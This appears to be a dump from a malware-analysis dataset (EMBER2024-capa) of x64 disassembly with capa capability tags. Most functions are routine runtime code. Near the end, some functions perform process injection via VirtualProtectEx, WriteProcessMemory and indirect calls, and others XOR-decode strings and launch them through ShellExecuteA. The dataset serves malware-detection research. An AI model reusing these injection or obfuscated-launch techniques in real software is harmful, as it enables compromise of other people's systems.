joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400b9190
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140114700]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbp, r8
mov dword [rsp + 0x20], 0xf0000040
mov rsi, rdx
mov rdi, rcx
xor r8d, r8d
lea rcx, [rsp + 0x38]
xor edx, edx
mov r9d, Ordinal_27
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x1400b91dc
mov eax, reloc.WLDAP32.dll_Ordinal_27
jmp 0x1400b92ae
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x1400b9220
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 2
mov qword [rsp + 0x38], 0
jmp 0x1400b92ae
mov rcx, rbp
call fcn.1400758c0
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov r8d, eax
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
xor r8d, r8d
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0
lea edx, [r8 + 2]
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
cmp dword [rsp + 0x30], 0x20
jne 0x1400b928a
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
mov r8, rdi
mov dword [rsp + 0x20], 0
mov edx, 2
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x1400b929a
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400b92ac
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400ba4d0
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400ba070
Capabilities:
Encode data using xor

Disassembly:
mov r10, rcx
test rdx, rdx
je 0x1400ba0d5
nop dword [rax + rax]
movzx r8d, byte [r10]
lea r10, [r10 + 1]
movzx eax, r8b
movzx r9d, r8b
shr r9b, 1
and al, 0xfe
not r9b
movzx eax, al
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
or r8b, 1
test r9b, 2
movzx ecx, r8b
cmove ecx, eax
mov byte [r10 - 1], cl
sub rdx, 1
jne 0x1400ba080
ret

Function at 0x1400bb180
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400bb1ca
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400bb1ca
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400bb1ca
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400bb1ca
cmp dword [rcx + 0x84], 0xe
jbe 0x1400bb1ca
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400bb1cc
xor al, al
add rsp, 0x28
ret
Function at 0x1400c1448
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400c12b3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400c12b3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400c12b3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400c12b3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400c12b3
cmp dword [rcx + 0x84], 0xe
jbe 0x1400c12b3
cmp dword [rcx + 0xf8], 0
je 0x1400c12b3
mov ecx, ebx
call fcn.1400c1364
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400c1140
nop
cmp dword [rbp + 0x20], 0
je 0x1400c1301
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400c130c
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400c1244

Function at 0x1400c67d0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.1400bad40
sub rsp, rax
mov rax, qword [0x140114700]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.1400d3b1c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1400c681f
mov rax, rbp
jmp 0x1400c6927
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x11b6a0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1400d0728
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x11b6a0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x1400c6923
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400c6923
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1400d0728
test rax, rax
js 0x1400c6923
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x1400c6923
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x1400c6915
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x1400c6915
cmp byte [rcx], 0xd
jne 0x1400c68fb
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1400c690a
cmp byte [rcx + 1], 0xa
jne 0x1400c690a
inc rcx
jmp 0x1400c690a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x1148a0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1400c68dd
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x1400c6927
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1400ba4d0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400cf760
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x250
mov rax, qword [0x140114700]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea rdx, [0x1400fc4c0]
mov rbp, rcx
call fcn.1400d81e0
xor edi, edi
test rax, rax
je 0x1400cf846
mov ebx, edi
call fcn.1400c62d4
mov r14d, dword [rax]
call fcn.1400c62d4
mov r8d, 0x104
lea rcx, [rsp + 0x30]
mov rdx, rbp
mov dword [rax], edi
call fcn.1400d812c
mov rsi, rax
test rax, rax
je 0x1400cf7d7
call fcn.1400c62d4
mov dword [rax], r14d
jmp 0x1400cf801
call fcn.1400c62d4
cmp dword [rax], 0x22
jne 0x1400cf83e
call fcn.1400c62d4
xor r8d, r8d
mov rdx, rbp
xor ecx, ecx
mov dword [rax], r14d
call fcn.1400d812c
mov rbx, rax
mov rsi, rax
test rax, rax
je 0x1400cf83e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], di
jne 0x1400cf805
cmp rax, 3
je 0x1400cf820
mov rcx, rsi
call fcn.1400cf6bc
test al, al
je 0x1400cf831
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x1400cf831
mov dil, 1
mov rcx, rbx
call fcn.1400c492c
mov al, dil
jmp 0x1400cf848
mov rcx, rbx
call fcn.1400c492c
xor al, al
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1400ba4d0
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x1400d03d8
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x1400d040f
call fcn.1400c62d4
mov dword [rax], reloc.WLDAP32.dll_Ordinal_22
call fcn.1400c1a00
xor eax, eax
jmp 0x1400d049d
mov rdx, r9
mov rcx, r8
call fcn.1400d0374
mov rbx, rax
test rax, rax
je 0x1400d049a
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x1400d02a0]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x1400d0487
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400c6248
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1400d046e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x1400d047d
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.1400d4810
jmp 0x1400d049a
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400d0497
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x1400d209c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x14011b6a0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1400d20f3
cmp word [rdx], r13w
jne 0x1400d20f3
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1400d20f8
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1400d221d
mov r11d, reloc.WS2_32.dll_listen
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1400d223e
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1400d2131
mov rdx, r9
mov word [rbx], cx
jmp 0x1400d2158
cmp r9, r8
jae 0x1400d2168
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1400d2112
jmp 0x1400d221d
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400d2212
cmp dword [rsp + 0x80], esi
je 0x1400d2212
lea r8, [0x14011b6a0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1400d21ea
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1400d21ba
mov word [rbx], r13w
jmp 0x1400d221a
mov ecx, reloc.WS2_32.dll_listen
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1400d21c7
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1400d221a
cmp word [rsp + 0x70], r13w
jne 0x1400d21f7
cmp rbx, r14
je 0x1400d21b4
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1400d0730
cmp word [rsp + 0x70], r13w
je 0x1400d221d
mov ecx, reloc.WS2_32.dll_listen
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x14011b6a0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1400d2217
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1400d221d
Function at 0x1400d6f00
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400d6f16
mov al, 1
jmp 0x1400d6f76
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400d6f27
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400d6f74
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400d7b60
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400d6f74
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400d6f74
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400d6f74
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400d6f76
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1400d7c70
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1400d0730
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1400d0730
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400d7dc0
cmp rax, 0xffffffffffffffff
je 0x1400d7dc0
xor edi, edi
test rbp, rbp
jle 0x1400d7d6b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1400d4798
mov rbx, rax
test rax, rax
jne 0x1400d7cf8
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400d7d61
mov edx, 0x8000
mov ecx, r14d
call fcn.1400d1cd4
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400d3454
cmp eax, 0xffffffff
je 0x1400d7d41
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400d7d08
mov edx, r15d
mov ecx, r14d
call fcn.1400d1cd4
jmp 0x1400d7d61
cmp byte [rsi + 0x38], dil
je 0x1400d7d58
cmp dword [rsi + 0x34], 5
jne 0x1400d7d58
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
cmp byte [rsi + 0x30], dil
je 0x1400d7d61
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1400d4810
jmp 0x1400d7dd4
jns 0x1400d7dd4
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1400d0730
cmp rax, 0xffffffffffffffff
jne 0x1400d7d8c
cmp byte [rsi + 0x30], dil
je 0x1400d7dd4
mov edi, dword [rsi + 0x2c]
jmp 0x1400d7dd4
mov ecx, r14d
call fcn.1400d7b60
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400d7dd4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, reloc.WS2_32.dll_listen
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
jmp 0x1400d7dd4
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400d7dcd
mov eax, dword [rsi + 0x2c]
jmp 0x1400d7dd2
mov eax, reloc.WLDAP32.dll_Ordinal_22
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1400d0730
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x1400db650
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400db680
xor eax, eax
jmp 0x1400db743
mov rbp, rbx
cmp word [rax], si
je 0x1400db6a5
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400db68c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400db688
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400d860c
movsxd r14, eax
test eax, eax
jne 0x1400db6e3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400db679
mov rcx, r14
call fcn.1400d53f4
mov rdi, rax
test rax, rax
jne 0x1400db6fc
xor ecx, ecx
call fcn.1400d4810
jmp 0x1400db6d8
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400d860c
test eax, eax
jne 0x1400db72d
mov rcx, rdi
call fcn.1400d4810
jmp 0x1400db737
xor ecx, ecx
call fcn.1400d4810
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1400db760
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400db7e7
mov rsi, rbx
cmp word [rax], bp
je 0x1400db7a6
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400db790
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400db78c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400d53f4
mov rdi, rax
test rax, rax
je 0x1400db7d4
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400e1d00
mov rbp, rdi
xor ecx, ecx
call fcn.1400d4810
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400dcaa0
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1400dcac0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400c6248
or eax, 0xffffffff
jmp 0x1400dcac2
xor eax, eax
add rsp, 0x28
ret

Function at 0x1400de970
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x140114700]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x1400de9ba
call fcn.1400c62b4
mov dword [rax], reloc.WS2_32.dll_ntohs
call fcn.1400c62d4
mov dword [rax], reloc.WS2_32.dll_listen
call fcn.1400c1a00
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400ba4d0
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x1400de9c5
lea eax, [rbx + 1]
jmp 0x1400de9a7
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x1400de9a5
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x1400de9a7

Function at 0x1400e1930
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400e1958
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400e1958
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140007b40]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140007b50]
mov dword [rax], 1
mov rax, qword [0x140007b60]
mov dword [rax], 1
mov rax, qword [0x140007ae0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140007b30]
mov dword [0x14000c00c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x1400010b0
mov ecx, 1
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140007c30]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140007c10]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140007a40]
cmp dword [rax], 1
je 0x1400010f1
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001104
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x1400018a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x78
mov r9d, 0x30
mov r12, rdx
mov rbx, r8
mov rsi, rcx
lea r13, [rsp + 0x34]
mov rdx, rbx
mov rcx, r12
lea r8, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov r8, qword [rsp + 0x58]
mov rcx, r12
mov r9d, 0x40
mov rdx, qword [rsp + 0x40]
mov qword [rsp + 0x20], r13
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call rbp
lea rax, [sym.LibraryLoader_void__void__void_]
mov r8, rbx
mov rcx, r12
lea r9, [sym.stub__]
mov rdi, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x20], 0
sub r9, rax
mov rdx, qword [rsp + 0x40]
call rdi
mov r9d, dword [rsp + 0x34]
mov rcx, r12
mov qword [rsp + 0x20], r13
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x40]
call rbp
mov qword [rsp + 0x38], rsi
lea rdx, [rbx + 0x30]
mov rcx, r12
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x38]
mov r9d, 0x30
call rdi
mov rax, qword [rsp + 0x38]
mov rsi, qword [rax + 0x18]
mov edi, dword [rsi]
test edi, edi
je 0x1400019fc
mov edx, dword [rsi + 0xc]
mov rcx, qword [rax]
add rdi, qword [rax]
mov ebp, dword [rsi + 0x10]
add rbp, qword [rax]
add rcx, rdx
call qword [rax + 0x20]
test rax, rax
mov rbx, rax
jne 0x1400019ae
jmp 0x1400019d2
add rdx, qword [rax]
mov rcx, rbx
add rdx, 2
call r8
test rax, rax
je 0x1400019d2
mov qword [rbp], rax
add rdi, 8
add rbp, 8
mov rdx, qword [rdi]
test rdx, rdx
je 0x1400019e8
mov rax, qword [rsp + 0x38]
test rdx, rdx
mov r8, qword [rax + 0x28]
jns 0x140001990
movzx edx, dx
mov rcx, rbx
call r8
test rax, rax
jne 0x1400019a2
xor r8d, r8d
mov rax, r8
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov edi, dword [rsi + 0x14]
add rsi, 0x14
mov rax, qword [rsp + 0x38]
test edi, edi
jne 0x14000196e
mov rdx, qword [rax + 8]
mov r8d, 1
mov edx, dword [rdx + 0x28]
test edx, edx
je 0x1400019d5
mov rcx, qword [rax]
mov eax, edx
xor r8d, r8d
mov edx, 1
add rax, rcx
call rax
movsxd r8, eax
jmp 0x1400019d5

Function at 0x140001a30
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
sub rsp, 0x58
mov rax, qword [0x140007530]
mov ecx, 0x31
movdqa xmm0, xmmword [0x140007520]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov eax, 0x4e2b
mov word [rsp + 0x4c], ax
lea r9, [rsp + 0x4e]
mov rax, r8
sub ecx, r8d
movaps xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x48], 0x272f181a
nop dword [rax]
lea edx, [rcx + rax]
xor byte [rax], dl
add rax, 1
cmp r9, rax
jne 0x140001a78
mov dword [rsp + 0x28], 1
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x20], 0
lea rdx, [0x140007360]
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
add rsp, 0x58
ret
Function at 0x140001ac0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
sub rsp, 0x88
movdqa xmm0, xmmword [0x140007540]
mov eax, 0x410e
xor edx, edx
movaps xmmword [rsp + 0x30], xmm0
movdqa xmm0, xmmword [0x140007550]
lea r8, [rsp + 0x30]
mov dword [rsp + 0x70], 0x6f685359
mov rcx, r8
movaps xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [0x140007560]
mov word [rsp + 0x74], ax
movaps xmmword [rsp + 0x50], xmm0
movdqa xmm0, xmmword [0x140007570]
movaps xmmword [rsp + 0x60], xmm0
nop word [rax + rax]
movsxd rax, edx
mov r9d, edx
imul rax, rax, 0x4d4873ed
sar r9d, 0x1f
sar rax, 0x24
sub eax, r9d
mov r9d, edx
add edx, 1
imul eax, eax, 0x35
sub r9d, eax
lea eax, [r9 + 0x31]
xor byte [rcx], al
add rcx, 1
cmp edx, 0x46
jne 0x140001b20
mov dword [rsp + 0x28], 1
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x20], 0
lea rdx, [0x140007360]
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
add rsp, 0x88
ret